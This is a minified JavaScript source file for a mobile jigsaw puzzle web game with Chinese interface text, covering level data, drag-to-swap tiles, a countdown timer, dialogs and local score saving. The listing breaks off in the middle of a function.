index.js 39 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969
  1. ! function(e, t) {
  2. e("data/jigsawGame", function(e, t, n) {
  3. n.exports = [{
  4. type: "jigsaw",
  5. ka: [{
  6. desc: "1",
  7. first: "欢迎来玩拼图!",
  8. second: "第一关通过!",
  9. id: "1",
  10. pic: [{
  11. img: "./images/1.gif",
  12. row: 2,
  13. column: 2
  14. }]
  15. }, {
  16. desc: "2",
  17. id: "2",
  18. first: "\u5927\u795e\u4f60\u662f\u6211\u7684\u5076\u50cf",
  19. second: "\u8fd8\u6709\u4e00\u4e9b\u8981\u6311\u6218\u7684\u54e6!",
  20. pic: [{
  21. img: "./images/1.gif",
  22. row: 3,
  23. type: 2,
  24. second: 60,
  25. column: 3
  26. },{
  27. img: "./images/2.gif",
  28. row: 3,
  29. type: 2,
  30. second: 35,
  31. column: 3
  32. },{
  33. img: "./images/3.gif",
  34. row: 3,
  35. type: 2,
  36. second: 30,
  37. column: 3
  38. },{
  39. img: "./images/4.gif",
  40. row: 3,
  41. type: 2,
  42. second: 25,
  43. column: 3
  44. },{
  45. img: "./images/5.gif",
  46. row: 3,
  47. type: 2,
  48. second: 20,
  49. column: 3
  50. },{
  51. img: "./images/6.gif",
  52. row: 4,
  53. type: 2,
  54. second: 50,
  55. column: 4
  56. },{
  57. img: "./images/7.gif",
  58. row: 4,
  59. type: 2,
  60. second: 45,
  61. column: 4
  62. },{
  63. img: "./images/8.gif",
  64. row: 4,
  65. type: 2,
  66. second: 35,
  67. column: 4
  68. },{
  69. img: "./images/9.gif",
  70. row: 4,
  71. type: 2,
  72. second: 25,
  73. column: 4
  74. },{
  75. img: "./images/10.gif",
  76. row: 4,
  77. type: 2,
  78. second: 20,
  79. column: 4
  80. }]
  81. }]
  82. }]
  83. }), e("module/model", function(e, t, n) {
  84. function a(e) {
  85. var t = e || {}, n = {}, a = Array.prototype.slice;
  86. return t.on = function(e, t) {
  87. var a = n[e];
  88. a || (a = n[e] = []), a.push(t)
  89. }, t.once = function(e, n) {
  90. t.on(e, function() {
  91. var r = a.call(arguments, 0);
  92. n.apply(t, r), t.off(e, n)
  93. })
  94. }, t.trigger = function(e) {
  95. var r = n[e],
  96. i = a.call(arguments, 1);
  97. r && r.forEach(function(e) {
  98. try {
  99. e.apply(t, i)
  100. } catch (n) {}
  101. })
  102. }, t.off = function(e, t) {
  103. var a = n[e];
  104. if (a) for (var r = 0; r < a.length; r++) if (a[r] == t) return a.splice(r, 1)
  105. }, t.destroy = function() {
  106. n = null
  107. }, t
  108. }
  109. n.exports = a
  110. }), e("module/utils", function(e, n, a) {
  111. function r() {
  112. s.length ? (c = 1, o(function() {
  113. s.shift()(), r()
  114. })) : c = 0
  115. }
  116. var i = e("underscore"),
  117. o = t.requestAnimationFrame || t.webkitRequestAnimationFrame || t.mozRequestAnimationFrame || t.oRequestAnimationFrame || t.msRequestAnimationFrame || function(e) {
  118. t.setTimeout(e, 1e3 / 60)
  119. }, s = [],
  120. c = 0;
  121. i.nextFrame = function(e) {
  122. s.push(e), c || r()
  123. }, i.getChineseNum = function(e) {
  124. var t = ["\u5341", "\u4e00", "\u4e8c", "\u4e09", "\u56db", "\u4e94", "\u516d", "\u4e03", "\u516b", "\u4e5d"];
  125. return t[e] || e
  126. }, i.getShowTime = function(e) {
  127. console.dir(e);
  128. if (6e4 > e) return (e / 1e3).toFixed(2) + "''";
  129. var t = parseInt(e / 1e4);
  130. return t + (e % 6e4 / 1e3).toFixed(2) + "''"
  131. }, i.noop = function() {}, a.exports = i
  132. }), e("page/jigsaw/templates", function(e, t, n) {
  133. var a = e("underscore"),
  134. r = e("af");
  135. n.exports = {
  136. pageTemplate: function() {
  137. return a.template(r("#pageTemplate").html())
  138. }(),
  139. getTemplate: function(e) {
  140. return a.template(r("#" + e).html())
  141. }
  142. }
  143. }), e("page/jigsaw/phoneReady", function(e, n, a) {
  144. function r() {
  145. i = !0, o.forEach(function(e) {
  146. try {
  147. e()
  148. } catch (t) {}
  149. })
  150. }
  151. var i = !1,
  152. o = [];
  153. document.addEventListener("deviceready", function() {
  154. r()
  155. }, !0), t.chrome && r(), a.exports = function(e) {
  156. return i ? void e() : void o.push(e)
  157. }
  158. }), e("page/jigsaw/userData", function(e, t, n) {
  159. var a = e("af"),
  160. r = {}, i = {};
  161. r.get = function(e, t) {
  162. if (i[e]) return i[e];
  163. var n = localStorage.getItem(e);
  164. if (n) try {
  165. return n = JSON.parse(n)
  166. } catch (a) {
  167. return n
  168. } else t && r.set(e, t);
  169. return t
  170. }, r.set = function(e, t) {
  171. var n = t;
  172. return a.isObject(t) && (n = JSON.stringify(t)), localStorage.setItem(e, n), i[e] = t
  173. }, r.remove = function(e) {
  174. localStorage.removeItem(e)
  175. }, n.exports = r
  176. }), e("core/event", function(e, t, n) {
  177. n.exports = {
  178. addEvent: function(e, t, n, a) {
  179. e && e.addEventListener(t, n, a)
  180. },
  181. removeEvent: function(e, t, n, a) {
  182. e && e.removeEventListener(t, n, a)
  183. },
  184. stopEvent: function(e) {
  185. e.preventDefault(), e.stopPropagation()
  186. },
  187. preventDefault: function(e) {
  188. e.preventDefault()
  189. },
  190. getEvent: function() {}
  191. }
  192. }), e("core/cssText", function(e, t, n) {
  193. n.exports = function(e) {
  194. var t = {}, n = {}, a = e.split(";");
  195. return a.forEach(function(e) {
  196. var t = e.split(":");
  197. n[t[0]] = t[1]
  198. }), t.css = function(e) {
  199. for (var a in e) n[a] = e[a];
  200. return t
  201. }, t.cssText = function() {
  202. var e = [];
  203. for (var t in n) e.push(t + ":" + n[t]);
  204. return e.join(";")
  205. }, t
  206. }
  207. }), e("ui/DragSort", function(e, n, a) {
  208. function r(e, t) {
  209. var n = this;
  210. t = t || {}, n.itemQuery = t.itemQuery || "[dragitem='1']", n.dragOut = t.dragOut || !1, n.layer = e, s.extend(n, o()), n.init()
  211. }
  212. function i(e, t) {
  213. e.style.cssText = t.cssText()
  214. }
  215. var o = e("module/model"),
  216. s = e("af"),
  217. c = "ontouchstart" in t,
  218. u = navigator.msPointerEnabled,
  219. g = e("core/event"),
  220. l = e("core/cssText"),
  221. m = t.Math,
  222. p = t.requestAnimationFrame || t.webkitRequestAnimationFrame || t.mozRequestAnimationFrame || t.oRequestAnimationFrame || t.msRequestAnimationFrame || function(e) {
  223. t.setTimeout(e, 1e3 / 60)
  224. };
  225. r.prototype.init = function() {
  226. var e = this;
  227. e.disable = !1, e.currentElement = !1, e.currentDestElement = !1, e.initEvent(!0), e.refresh()
  228. }, r.prototype.initEvent = function(e) {
  229. var n = this,
  230. a = e ? g.addEvent : g.removeEvent,
  231. r = n.layer;
  232. c ? (a(r, "touchstart", n), a(t, "orientationchange", n)) : u ? a(r, "MSPointerDown", n) : (a(r, "mousedown", n), a(t, "resize", n))
  233. }, r.prototype.initWinEvent = function(e) {
  234. var n = this,
  235. a = e ? g.addEvent : g.removeEvent;
  236. c ? (a(t, "touchmove", n), a(t, "touchend", n), a(t, "touchcancel", n)) : u ? (a(t, "MsPointerMove", n), a(t, "MsPointerUp", n), a(t, "MsPointerCancel", n)) : (a(t, "mousemove", n), a(t, "mouseup", n))
  237. }, r.prototype.handleEvent = function(e) {
  238. var t = e.type,
  239. n = this;
  240. if (!n.disable) switch (t) {
  241. case "touchstart":
  242. case "MSPointerDown":
  243. case "mousedown":
  244. n._start(e);
  245. break;
  246. case "touchmove":
  247. case "MsPointerMove":
  248. case "mousemove":
  249. n._move(e);
  250. break;
  251. case "touchend":
  252. case "touchcancel":
  253. case "MsPointerUp":
  254. case "MsPointerCancel":
  255. case "mouseup":
  256. n._end(e);
  257. break;
  258. case "resize":
  259. n._resize(e)
  260. }
  261. }, r.prototype.getDragElement = function(e) {
  262. function t(e) {
  263. return e == a.layer || e == document.body ? null : "1" == e.getAttribute("dragitem") ? e : t(e.parentNode)
  264. }
  265. var n = e.target,
  266. a = this;
  267. return t(n)
  268. }, r.prototype._start = function(e) {
  269. if(this.currentElement) return;
  270. var t = this,
  271. n = e.targetTouches ? e.targetTouches[0] : e,
  272. a = t.getDragElement(n);
  273. if (a) {
  274. t.currentElement = a, t.currentDestElement = a, t._pushToOuter(t.currentElement), t.touchStartX = n.pageX, t.touchStartY = n.pageY;
  275. var r = JSON.parse(t.currentElement.getAttribute("position"));
  276. r.display = "", t.startX = t.x = parseInt(r.left), t.startY = t.y = parseInt(r.top), t.layerWidth = parseInt(parseInt(r.width)), t.layerHeight = parseInt(parseInt(r.height)), i(t.moveLayer, t.moveCssText.css(r)), t.initWinEvent(!0), t.trigger("drag", t.currentElement), g.stopEvent(e)
  277. }
  278. }, r.prototype._move = function(e) {
  279. var t = this,
  280. n = e.targetTouches ? e.targetTouches[0] : e,
  281. a = n.pageX - t.touchStartX,
  282. r = n.pageY - t.touchStartY;
  283. t.touchStartX = n.pageX, t.touchStartY = n.pageY, t.x += a, t.y += r, i(t.moveLayer, t.moveCssText.css({
  284. left: t.x + "px",
  285. top: t.y + "px"
  286. }));
  287. for (var o = t.x + t.layerWidth / 2, s = t.y + t.layerHeight / 2, c = !1, u = null, l = t.child.length; l--;) {
  288. var p = t.child[l],
  289. d = JSON.parse(p.getAttribute("position")),
  290. f = parseInt(d.width) / 2,
  291. h = parseInt(d.height) / 2,
  292. v = parseInt(d.left) + f,
  293. y = parseInt(d.top) + h,
  294. w = m.sqrt(m.pow(v - o, 2) + m.pow(y - s, 2)),
  295. x = m.sqrt(m.pow(f, 2) + m.pow(h, 2));
  296. x > w && (u > w || null === u) && (u = w, c = p)
  297. }
  298. var E = t.currentDestElement;
  299. t.currentDestElement = c, t.trigger("over", t.currentDestElement, E), g.stopEvent(e)
  300. }, r.prototype._end = function(e) {
  301. var t = this;
  302. if (t.currentElement) {
  303. var n = t._removeFormOuter();
  304. g.stopEvent(e);
  305. var a = "exchange";
  306. t.currentDestElement && t.currentDestElement != t.currentElement ? (t.currentDestElement.parentNode.replaceChild(n, t.currentDestElement), t.currentElement.parentNode.replaceChild(t.currentDestElement, t.currentElement), t.refresh()) : (t.currentElement.parentNode.replaceChild(n, t.currentElement), a = "nochange"), t.currentElement = !1, t.currentDestElement = !1, t.initWinEvent(!1), t.refresh(), t.trigger(a)
  307. delete t.currentElement;
  308. }
  309. }, r.prototype._resize = function() {
  310. this.refresh()
  311. }, r.prototype._pushToOuter = function(e) {
  312. var t = this;
  313. t.moveLayer || (t.moveLayer = document.createElement("div"), t.moveLayer.className = "drag-float", t.moveCssText = l("display:none;position:absolute;top:0px;left:0px;"), i(t.moveLayer, t.moveCssText), document.body.appendChild(t.moveLayer));
  314. var n = e.cloneNode(!0);
  315. t.moveLayer.appendChild(n)
  316. }, r.prototype._removeFormOuter = function() {
  317. var e = this,
  318. t = e.moveLayer.children[0];
  319. return t && e.moveLayer.removeChild(t), i(e.moveLayer, e.moveCssText.css({
  320. display: "none"
  321. })), t
  322. }, r.prototype.suspen = function() {
  323. this.disable = !0
  324. }, r.prototype.refresh = function() {
  325. var e = this;
  326. p(function() {
  327. e.child = e.layer.querySelectorAll(e.itemQuery);
  328. for (var t = e.child.length, n = 0; t > n; n++) {
  329. var a = e.child[n].getBoundingClientRect();
  330. e.child[n].setAttribute("position", JSON.stringify({
  331. width: a.width + "px",
  332. height: a.height + "px",
  333. left: a.left + "px",
  334. top: a.top + "px"
  335. }))
  336. }
  337. })
  338. }, r.prototype.enable = function() {
  339. this.disable = !1
  340. }, r.prototype.destory = function() {
  341. var e = this;
  342. e.initEvent(!1), e.initWinEvent(!1)
  343. }, a.exports = r
  344. }), e("page/jigsaw/game/gameCenter", function(e, t, n) {
  345. function a(e, t, n, a) {
  346. for (var r = [], i = 0; e > i; i++) for (var o = 0; t > o; o++) r.push({
  347. sort: i * t + o + 1,
  348. x: -o * n,
  349. y: -i * a,
  350. w: n,
  351. h: a
  352. });
  353. return r
  354. }
  355. function r(e) {
  356. function t(e, t) {
  357. var n = e.length,
  358. a = t,
  359. r = 0;
  360. if (1 == n) return e[0];
  361. for (; !a || a == t;) r = Number((Math.random() * n % n).toFixed(0)), a = e[r];
  362. return e.splice(r, 1), a
  363. }
  364. for (var n = e.concat(), a = [], r = e.length, i = 0; r > i; i++) a.push(t(n, e[i]));
  365. return a
  366. }
  367. var i = e("af"),
  368. o = e("module/model"),
  369. s = e("ui/DragSort"),
  370. c = e("page/jigsaw/templates");
  371. n.exports = function(e) {
  372. function t() {
  373. m.dragSort = new s(e[0]), m.dragSort.on("exchange", function() {
  374. p() && l.trigger("goal")
  375. })
  376. }
  377. function n() {
  378. m.domWidth = e.width(), m.domHeight = e.height(); {
  379. var t = m.cfg,
  380. n = m.domWidth - t.column * m.margin * 2;
  381. m.domHeight - t.row * m.margin * 2
  382. }
  383. t.width = n / t.column, t.height = n / t.row, m.allItem = a(t.row, t.column, t.width, t.height)
  384. }
  385. function u(e) {
  386. return d(e)
  387. }
  388. function g() {
  389. m.cfg;
  390. return {
  391. width: m.domWidth,
  392. height: m.domHeight
  393. }
  394. }
  395. if (!e) throw new Error("dom \u4e0d\u80fd\u4e3a\u7a7a");
  396. e = i(e);
  397. var l = o(),
  398. m = {
  399. domWidth: 0,
  400. domHeight: 0,
  401. margin: 1,
  402. cfg: {
  403. img: "",
  404. width: 100,
  405. height: 100,
  406. column: 3,
  407. row: 3
  408. }
  409. }, p = function() {
  410. for (var t = e[0].querySelectorAll("[sort]"), n = !1, a = t.length; a--;) {
  411. var r = t[a],
  412. i = parseInt(r.getAttribute("sort"));
  413. if (n !== !1 && n - parseInt(r.getAttribute("sort")) != 1) return !1;
  414. n = i
  415. }
  416. return !0
  417. }, d = c.getTemplate("jigsawLayoutTemplate");
  418. return l.toWrite = function() {
  419. var t = g(),
  420. n = {
  421. img: m.cfg.img,
  422. list: m.allItem,
  423. width: t.width,
  424. height: t.height
  425. };
  426. e.html(u(n)), m.dragSort.refresh()
  427. }, l.toRandom = function() {
  428. var t = r(m.allItem),
  429. n = g(),
  430. a = {
  431. img: m.cfg.img,
  432. list: t,
  433. width: n.width,
  434. height: n.height
  435. };
  436. e.html(u(a)), m.dragSort.refresh()
  437. }, l.cfg = function(e) {
  438. _.extend(m.cfg, e), n()
  439. }, l.lock = function(e) {
  440. e ? m.dragSort.suspen() : m.dragSort.enable()
  441. }, l.destroy = function() {
  442. m.dragSort.destory(), d = null, m = null
  443. }, t(), l
  444. }
  445. }), e("page/jigsaw/game/stopwatch", function(e, t, n) {
  446. var a = (e("af"), e("module/model")),
  447. r = e("module/utils");
  448. n.exports = function() {
  449. var e = a(),
  450. t = 0,
  451. n = 0,
  452. i = 0,
  453. o = 0,
  454. s = function() {
  455. if (!(0 >= o)) {
  456. var a = Date.now();
  457. i = a - n, n - a > 1e3 && (i += 60, t += a - i), e.trigger("count", i), r.nextFrame(s)
  458. }
  459. };
  460. return e.clear = function() {
  461. o = 0, i = 0, e.trigger("count", 0)
  462. }, e.pause = function() {
  463. o = -1
  464. }, e.resume = function() {
  465. o = 1, s()
  466. }, e.stop = function() {
  467. i = Date.now() - t, e.trigger("count", i), o = -2
  468. }, e.getState = function() {
  469. return o
  470. }, e.getCount = function() {
  471. return i
  472. }, e.start = function() {
  473. n = t = Date.now(), o = 1, s()
  474. }, e
  475. }
  476. }), e("page/jigsaw/game/jigsaw", function(e, n, a) {
  477. var r = e("af"),
  478. i = e("underscore"),
  479. o = e("module/model"),
  480. s = e("page/jigsaw/templates"),
  481. c = e("page/jigsaw/game/gameCenter"),
  482. u = (e("page/jigsaw/game/timer"), e("module/utils")),
  483. g = e("page/jigsaw/game/stopwatch"),
  484. l = function() {
  485. var e = this;
  486. e.config = {
  487. img: "",
  488. template: "",
  489. width: 100,
  490. height: 100,
  491. row: 3,
  492. column: 3,
  493. type: 1
  494. }, e.gameState = 0, e.gameCenter, e.timer
  495. };
  496. i.extend(l.prototype, o()), l.prototype.init = function(e) {
  497. var n = this;
  498. n.dom = r(e);
  499. var a = s.getTemplate("jigsawTemplate")();
  500. n.dom.html(a), n.gameCenter = c(e.find(".drag-box")), n.gameCenter.on("goal", function() {
  501. n.over(), n.trigger("picOver", n.timer.getCount())
  502. }), n.timer = g();
  503. var i = e.find(".counter");
  504. n.timer.on("count", function(e) {
  505. 2 == n.config.type && (e = 1e3 * n.config.second - e, 0 >= e && (n.trigger("timeout"), n.stop(), e = 0)), i.html(u.getShowTime(e))
  506. }), n.loading = n.dom.find(".load");
  507. var o = n.loading.find(".count-down");
  508. n.dom.delegate(".playbtn", "click", function() {
  509. o.addClass("down"), o.find("ul").addClass("playanmal"), n.gameState = 2
  510. }), o.on("webkitAnimationEnd", function() {
  511. n.play(), n.trigger("playStart"), o.removeClass("down"), o.find("ul").removeClass("playanmal"), n.gameState = 3
  512. }), n.on("ready", function() {
  513. n.gameState = 1, u.nextFrame(function() {
  514. n.loading.removeClass("loading").addClass("loaded")
  515. })
  516. }), n.on("playStart", function() {
  517. n.dom.find(".masker").hide()
  518. }), n.on("reset", function() {
  519. n.dom.find(".masker").show()
  520. }), n.on("ready", function() {
  521. n.start()
  522. }), r(t).focus(function() {
  523. 4 == n.gameState && n.resume()
  524. }), r(t).blur(function() {
  525. 3 == n.gameState && n.pause()
  526. })
  527. }, l.prototype.arrangement = function() {
  528. var e = this;
  529. e.gameCenter.cfg(e.config), e.timer.clear(), e.trigger("reset")
  530. }, l.prototype.setConfig = function(e) {
  531. var t = this;
  532. t.gameState = 0, e.type = e.type || 1, e.difficulty = e.difficulty || 1;
  533. var n = t.config.img;
  534. if (i.extend(t.config, e), u.nextFrame(function() {
  535. t.loading.addClass("loading")
  536. }), t.arrangement(), t.config.img != n) {
  537. var a = r("<img src=" + t.config.img + ">");
  538. a.ready(function() {
  539. t.trigger("ready")
  540. })
  541. } else t.trigger("ready")
  542. }, l.prototype.start = function() {
  543. var e = this;
  544. 2 == e.config.difficulty ? e.gameCenter.toRandom() : e.gameCenter.toWrite()
  545. }, l.prototype.play = function() {
  546. var e = this;
  547. e.gameCenter.lock(!1), e.timer.start(), 2 != e.config.difficulty && e.gameCenter.toRandom()
  548. }, l.prototype.pause = function() {
  549. var e = this;
  550. e.gameState = 4, e.timer.pause()
  551. }, l.prototype.resume = function() {
  552. var e = this;
  553. e.gameState = 3, e.timer.resume()
  554. }, l.prototype.over = function() {
  555. var e = this;
  556. e.timer.stop(), e.gameCenter.lock(!0), e.gameState = 5
  557. }, l.prototype.stop = function() {
  558. var e = this;
  559. e.gameState = 5, e.gameCenter.lock(!0), e.timer.stop()
  560. };
  561. var m = new l;
  562. a.exports = m
  563. }), e("ui/baseLayer", function(e, t, n) {
  564. var a = e("module/model"),
  565. r = e("af"),
  566. i = function() {
  567. var e = {}, t = function() {
  568. return e.div || (e.div = document.createElement("div"), e.div.style.cssText = "-ms-touch-action: none;z-index:1;position:absolute;left:0px;top:0px;width:100%;height:100%;background-color:#000;opacity:.6;display:none;", document.body.appendChild(e.div)), e.div
  569. };
  570. return e.setOpacity = function(e) {
  571. t().style.opacity = e
  572. }, e.show = function() {
  573. var e = document.documentElement.clientWidth,
  574. n = document.documentElement.clientHeight;
  575. t().style.width = e + "px", t().style.height = n + "px", t().style.display = ""
  576. }, e.hide = function() {
  577. t().style.display = "none"
  578. }, e.getMask = function() {
  579. return t()
  580. }, e
  581. }(),
  582. o = function(e) {
  583. var t = {}, n = e.style.cssText,
  584. a = n.split(";");
  585. a.forEach(function(e) {
  586. if (e) {
  587. var n = e.split(":");
  588. n[0].trim() && (t[n[0].trim()] = n[1])
  589. }
  590. });
  591. var r = {};
  592. return r.css = function(e) {
  593. if (e) for (var n in e) t[n] = e[n]
  594. }, r.getText = function() {
  595. var e = [];
  596. for (var n in t) e.push(n + ":" + t[n]);
  597. return e.join(";")
  598. }, r
  599. };
  600. n.exports = function(e) {
  601. var t = {
  602. mask: !0,
  603. opacity: .8,
  604. zIndex: 3,
  605. left: 0,
  606. top: 0,
  607. html: "",
  608. preventDefault: !1,
  609. style: {}
  610. }, n = a(),
  611. s = {
  612. _layer: !1
  613. };
  614. e && (t = r.extend(t, e));
  615. var c = ["touchmove", "MSPointerMove", "MSPointerUp", "MSPointerDown", "click"],
  616. u = function() {
  617. if (s._layer = document.createElement("div"), s._layer.style.cssText = "-ms-touch-action: none;position:absolute;left:0px;top:0px;display:none;z-index:" + t.zIndex, document.body.appendChild(s._layer), t.html && (s._layer.innerHTML = t.html), t.preventDefault && c.forEach(function(e) {
  618. document.body.addEventListener(e, n, !1)
  619. }), t.style) {
  620. var e = o(s._layer);
  621. e.css(t.style), e.css("z-index", t.zIndex), s._layer.style.cssText = e.getText()
  622. }
  623. };
  624. return n.handleEvent = function(e) {
  625. e.preventDefault()
  626. }, n.show = function(e) {
  627. var a = o(s._layer);
  628. a.css(e), a.css({
  629. display: ""
  630. }), s._layer.style.cssText = a.getText(), t.mask && i.show(), n.trigger("show")
  631. }, n.hide = function() {
  632. s._layer.style.display = "none", n.trigger("hide")
  633. }, n.setHTML = function(e) {
  634. s._layer.innerHTML = e
  635. }, n.getOuter = function() {
  636. return s._layer
  637. }, n.destroy = function() {
  638. i.hide(), t.preventDefault && c.forEach(function(e) {
  639. document.body.removeEventListener(e, n, !1)
  640. }), s._layer.parentNode.removeChild(s._layer), n.trigger("destroy")
  641. }, u(), n
  642. }
  643. }), e("ui/dom", function(e, n, a) {
  644. var r = e("af"),
  645. i = function() {};
  646. i.getWinCenter = function(e, n) {
  647. var a = r(t);
  648. return {
  649. top: (a.height() - n) / 2,
  650. left: (a.width() - e) / 2
  651. }
  652. }, a.exports = i
  653. }), e("ui/showDialog", function(e, t, n) {
  654. function a(e) {
  655. var t = this,
  656. n = {
  657. message: "",
  658. calcelTxt: "\u53d6\u6d88",
  659. sureTxt: "\u786e\u5b9a",
  660. sure: s.noop,
  661. cancel: s.noop
  662. };
  663. r.extend(n, e), g || (g = r.template(u)), t.layer = i({
  664. html: g(n)
  665. });
  666. var a = o(t.layer.getOuter());
  667. a.delegate(".cancel", "click", function() {
  668. n.sure && n.cancel(), t.destroy()
  669. }), a.delegate(".sure", "click", function() {
  670. n.sure && n.sure(), t.destroy()
  671. }), t.layer.show();
  672. var l = c.getWinCenter(a.width(), a.height());
  673. t.layer.show({
  674. left: l.left + "px",
  675. top: l.top + "px"
  676. })
  677. }
  678. var r = e("underscore"),
  679. i = e("ui/baseLayer"),
  680. o = e("af"),
  681. s = e("module/utils"),
  682. c = e("ui/dom"),
  683. u = '<div class="dialog"><div class="content"><div class="message"><%=message%></div><h1></h1><div class="dig-btns"><%if(calcelTxt){%><span class="dig-btn cancel"><%=calcelTxt%></span><%}%><%if(sureTxt){%><span class="dig-btn sure"><%=sureTxt%></span><%}%></div></div></div>',
  684. g = null;
  685. r.extend(a.prototype, {
  686. destroy: function() {
  687. var e = this;
  688. e.layer.destroy()
  689. }
  690. }), n.exports = a
  691. }), e("page/jigsaw/p/picture", function(e, t, n) {
  692. function a(e) {
  693. for (var t = 0; t < c.length; t++) if (c[0].type == e) return c[0]
  694. }
  695. function r(e) {
  696. p.currentGame = e;
  697. var t = a(e.type);
  698. if (!t) return u.remove(f), void p.play();
  699. var n = t.ka[p.currentGame.ka],
  700. r = n.pic[p.currentGame.pic];
  701. p.dom.find(".kapics").html("第("+(p.currentGame.pic + 1) + "/" + n.pic.length+")关,本关限时 "+r.second+" 秒"), u.set(f, p.currentGame), p.jigsawGame.setConfig(r)
  702. }
  703. var i = e("af"),
  704. o = e("page/jigsaw/templates"),
  705. s = e("page/jigsaw/game/jigsaw"),
  706. c = e("data/jigsawGame"),
  707. u = e("page/jigsaw/userData"),
  708. g = e("module/utils"),
  709. l = e("ui/baseLayer"),
  710. m = e("ui/showDialog"),
  711. p = {};
  712. p.init = function(e) {
  713. var t = o.getTemplate("jigsawTemplate")();
  714. e.html(t), p.jigsawGame = s, p.jigsawGame.init(e), p.dom = e, p.jigsawGame.on("picOver", function(e) {
  715. dp_submitScore(p.currentGame.pic+1);
  716. var str="恭喜您挑战成功,共闯过了<em>"+(p.currentGame.pic+1)+"</em>关";
  717. if(!p.hasNextPic()){
  718. str="恭喜您全部通关!,共闯过了<em>"+(p.currentGame.pic+1)+"</em>关,分享到朋友炫耀一下吧!";
  719. }
  720. showGameResult(str,true,p.hasNextPic());
  721. }), p.jigsawGame.on("timeout", function() {
  722. showGameResult("挑战失败,共闯过了<em>"+(p.currentGame.pic)+"</em>关",false,p.hasNextPic());
  723. })
  724. $('#againgame').click(function(){
  725. window.location.href=window.location.href;
  726. });
  727. $('#restartgame').click(function(){
  728. p.currentGame.pic--;
  729. p.playNextPic();
  730. hideGameResult();
  731. });
  732. $('#continuegame').click(function(){
  733. p.playNextPic();
  734. hideGameResult();
  735. });
  736. console.log(p.dom);
  737. }, p.enter = function() {
  738. p.play()
  739. };
  740. var d = "userScore",
  741. f = "userNowGame";
  742. p.saveUserScore = function(e) {
  743. var t = u.get(d, {}),
  744. n = p.currentGame.type;
  745. t[n] || (t[n] = []);
  746. var a = p.currentGame.ka,
  747. r = p.currentGame.pic,
  748. i = t[n];
  749. if (i.length <= a) i.push([e]);
  750. else {
  751. var o = i[a];
  752. o.length > r ? o[r] = e : o.push(e)
  753. }
  754. u.set(d, t)
  755. }, p.play = function() {
  756. var picka = location.hash.slice(1) || "1,0";
  757. picka = picka.split(",")
  758. var e = {"type":"jigsaw","ka":0|picka[0],"pic":0|picka[1]};
  759. !e || 0 == e.ka && 0 == e.pic ? (p.dom.find(".play-info").show().find(".first-guide").html("\u4ea4\u6362\u56fe\u7247\uff0c\u5b8c\u6210\u62fc\u56fe").show(), e = {
  760. type: c[0].type,
  761. ka: 0,
  762. pic: 0
  763. }) : p.dom.find(".play-info").hide().find(".first-guide").html("\u52a0\u6cb9"), r(e)
  764. }, p.hasNextPic = function() {
  765. var e = p.currentGame.ka,
  766. t = p.currentGame.pic,
  767. n = a(p.currentGame.type),
  768. r = (n.ka, n.ka[e].pic);
  769. return t + 1 >= r.length ? !1 : !0
  770. }, p.hasNextKa = function() {
  771. {
  772. var e = p.currentGame.ka,
  773. t = (p.currentGame.pic, a(p.currentGame.type)),
  774. n = t.ka;
  775. t.ka[e].pic
  776. }
  777. return e + 1 >= n.length ? !1 : !0
  778. };
  779. var h = null;
  780. p.showNextKa = function() {
  781. if (!p.nextKaLayer) {
  782. p.nextKaLayer = l({
  783. mask: !1,
  784. top: 0,
  785. left: 0,
  786. width: "100%",
  787. height: "100%"
  788. }), h = o.getTemplate("showNextKaTemplate");
  789. var e = i(p.nextKaLayer.getOuter());
  790. e.delegate(".next", "click", function() {
  791. p.nextKaLayer.hide(), p.playNextPic()
  792. }), e.delegate(".playagain", "click", function() {
  793. p.playAgan()
  794. }), e.delegate(".oldshare", "click", function(){
  795. alert('点击右上角按钮,分享给你的好友吧~');
  796. })
  797. }
  798. var t = p.currentGame.ka,
  799. n = p.currentGame.pic,
  800. r = a(p.currentGame.type),
  801. s = r.ka[t],
  802. c = s.pic[n],
  803. m = c.img,
  804. f = u.get(d, {}),
  805. v = f[p.currentGame.type],
  806. y = v[t],
  807. w = 0;
  808. y.forEach(function(e) {
  809. w += e
  810. });
  811. var x = h({
  812. pic: m,
  813. first: s.first || " ",
  814. second: s.second || " ",
  815. time: g.getShowTime(w),
  816. next: g.getChineseNum(t + 2)
  817. });
  818. p.nextKaLayer.setHTML(x), p.nextKaLayer.show({
  819. width: "100%",
  820. height: "100%"
  821. })
  822. }, p.picOver = function(e) {
  823. p.saveUserScore(e);
  824. var t = p.dom.find(".done");
  825. t.show(), g.nextFrame(function() {
  826. t.addClass("doned"), setTimeout(function() {
  827. t.removeClass("doned"), t.hide()
  828. }, 1800)
  829. })
  830. (p.dom.find(".first-guide").html("\u606d\u559c\u4f60\uff0c\u5b8c\u6210\u62fc\u56fe"), p.dom.find(".play-info").show().find(".playing-over").show())
  831. if(p.hasNextPic()){
  832. //p.do
  833. }else{
  834. }
